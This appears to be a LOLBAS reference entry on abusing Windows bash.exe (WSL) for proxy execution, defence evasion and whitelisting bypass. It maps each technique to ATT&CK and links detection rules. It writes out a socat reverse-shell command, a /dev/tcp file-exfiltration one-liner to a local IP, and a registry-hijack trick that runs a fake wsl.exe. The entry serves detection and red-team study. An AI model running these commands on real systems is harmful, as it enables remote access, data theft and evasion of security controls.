.. /Bash.exe
Star

AWL bypass (CMD)

File used by Windows subsystem for Linux

Paths:

C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe

Resources:

Acknowledgements:

Alex Ionescu (@aionescu)
Asif Matadar (@d1r4c)
Liran Ravich, CardinalOps

Detections:

BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe

Execute

Executes executable from bash.exe
```
bash.exe -c "{CMD}"
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Tags
Execute: CMD
Executes a reverse shell
```
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Tags
Execute: CMD
Exfiltrate data
```
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Tags
Execute: CMD
When executed, bash.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.
```
bash.exe
```
Use case
Execute a payload as a child process of bash.exe while masquerading as WSL.

Privileges required
User

Operating systems
Windows 10, Windows Server 2019, Windows 11

ATT&CK® technique
T1218
Tags
Execute: CMD

AWL bypass

Executes executable from bash.exe
```
bash.exe -c "{CMD}"
```
Use case
Performs execution of specified file, can be used to bypass Application Whitelisting.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Tags
Execute: CMD